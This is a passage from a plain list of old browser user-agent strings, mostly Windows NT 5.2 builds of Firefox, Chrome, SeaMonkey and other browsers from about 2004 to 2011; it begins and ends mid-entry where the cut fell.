SeaMonkey/2.0.6pre\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.1.11pre) Gecko/20100627 SeaMonkey/2.0.6pre\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.1.11pre) Gecko/20100629 SeaMonkey/2.0.6pre\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.1.11pre) Gecko/20100630 SeaMonkey/2.0.6pre\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.1.9pre) Gecko/20100305 SeaMonkey/2.0.4pre\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.3a3pre) Gecko/20100312 SeaMonkey/2.1a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.2pre) Gecko/20070226 BonEcho/2.0.0.2pre\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.3pre) Gecko/20070302 BonEcho/2.0.0.3pre\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9) Gecko Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.30 Safari/525.13\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.6 Safari/525.13\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.6 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko)  Chrome/0.0.0 Safari/532.0 Iron/3.0.197.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Iron/3.0.197.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.5 Safari/532.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Iron/4.0.275.2 Chrome/4.0.275.2 Safari/532.8\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.558.0 Safari/534.10\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Iron/10.0.650.0 Chrome/10.0.650.0 Safari/534.16\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Iron/10.0.650.1 Chrome/10.0.650.1 Safari/534.16\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.652.0 Safari/534.17\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.454.0 Safari/534.2\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.0 Safari/534.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.463.0 Safari/534.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.4 (KHTML, like Gecko) Chrome/6.0.481.0 Safari/534.4\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 ChromePlus/1.5.0.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 ChromePlus/1.5.0.0alpha1\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) Chrome/0.0.0 Iron/3.0.197.0 AppleWebKit/532.0 (KHTML, like Gecko) Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.1) Gecko/20040707\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.2) Gecko/20040709\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.7) Gecko/20060917 K-Meleon/1.02\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1) Gecko/20060918 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1) Gecko/20061003 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.1.6\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.5.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.4pre) Gecko/20070510 BonEcho/2.0.0.4pre\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.5) Gecko/20070722 K-Meleon/1.11\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.6) Gecko/20070727 K-Meleon/1.1.2\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.7pre) Gecko/20070815 Firefox/2.0.0.6 Navigator/9.0b3\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.9) Gecko/2009042410 Firefox/3.0.9 Wyzo/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.10) Gecko/20100504 Lightning/1.0b1 SeaMonkey/2.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.4) Gecko/20091007 Firefox/3.5.4\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.6) Gecko/20091222 Shiretoko/3.5.6 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.7) Gecko/20100104 SeaMonkey/2.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1b2pre) Gecko/20081110 Minefield/3.1b2pre\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1b3pre) Gecko/20090104 Shiretoko/3.1b3pre\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1b3pre) Gecko/20090105 Firefox/3.1b3pre\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1b3pre) Gecko/20090105 Shiretoko/3.1b3pre\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.0.04506.30)\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9a1) Gecko/20060926 Minefield/3.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9a3pre) Gecko/20070320 Minefield/3.0a3pre\nMozilla/5.0 (Windows; U; Windows NT 5.2; es-AR; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.2; es-ES; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.2; es-ES; rv:1.9) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; es-ES; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.2; es-ES; rv:1.9.1.10) Gecko/20100624 Firefox/3.5.10 Lunascape/6.1.7.21880 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.2; eu) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4\nMozilla/5.0 (Windows; U; Windows NT 5.2; fr-FR; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 3.0.04506.648)\nMozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5\nMozilla/5.0 (Windows; U; Windows NT 5.2; hu; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.2; hu; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; it; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; ja; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; ko; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.2; nl) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5\nMozilla/5.0 (Windows; U; Windows NT 5.2; pl; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.2; pl; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; pl; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; pl; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.2; pl; rv:1.9) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; pt) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; pt-BR) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21\nMozilla/5.0 (Windows; U; Windows NT 5.2; pt-BR) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3)  Arora/0.4 (Change:  )\nMozilla/5.0 (Windows; U; Windows NT 5.2; pt-BR; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.2; pt-BR; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.2; pt-BR; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.2; pt-PT; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.2; ru-RU) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11\nMozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.7.3) Gecko/20041001 Firefox/0.10.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.9) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.9.2) Gecko/20100101 Firefox/3.6\nMozilla/5.0 (Windows; U; Windows NT 5.2; sk; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15\nMozilla/5.0 (Windows; U; Windows NT 5.2; sl; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.2; sv-SE; rv:1.7.8) Gecko/20060911 Firefox/1.5.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.2; tr; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; zh) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.1.5) Gecko/Firefox/3.5.5\nMozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.2) Gecko/20091111 Firefox/3.6\nMozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.2) Gecko/20100101 Firefox/3.6\nMozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10\nMozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3\nMozilla/5.0 (Windows; U; Windows NT 5.2; zh-TW; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.2; zh-TW; rv:1.9.1.5) Gecko/20091106 Shiretoko/3.5.5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.2; zh-TW; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8\nMozilla/5.0 (Windows; U; Windows NT 6.0 (x86_64); de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.0 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre\nMozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9.0.3pre) Gecko/2008111500 Minefield/3.0.5pre\nMozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre\nMozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Minefield/3.1b2pre\nMozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9a1) Gecko/20061007 Minefield/3.0a1\nMozilla/5.0 (Windows; U; Windows NT 6.0 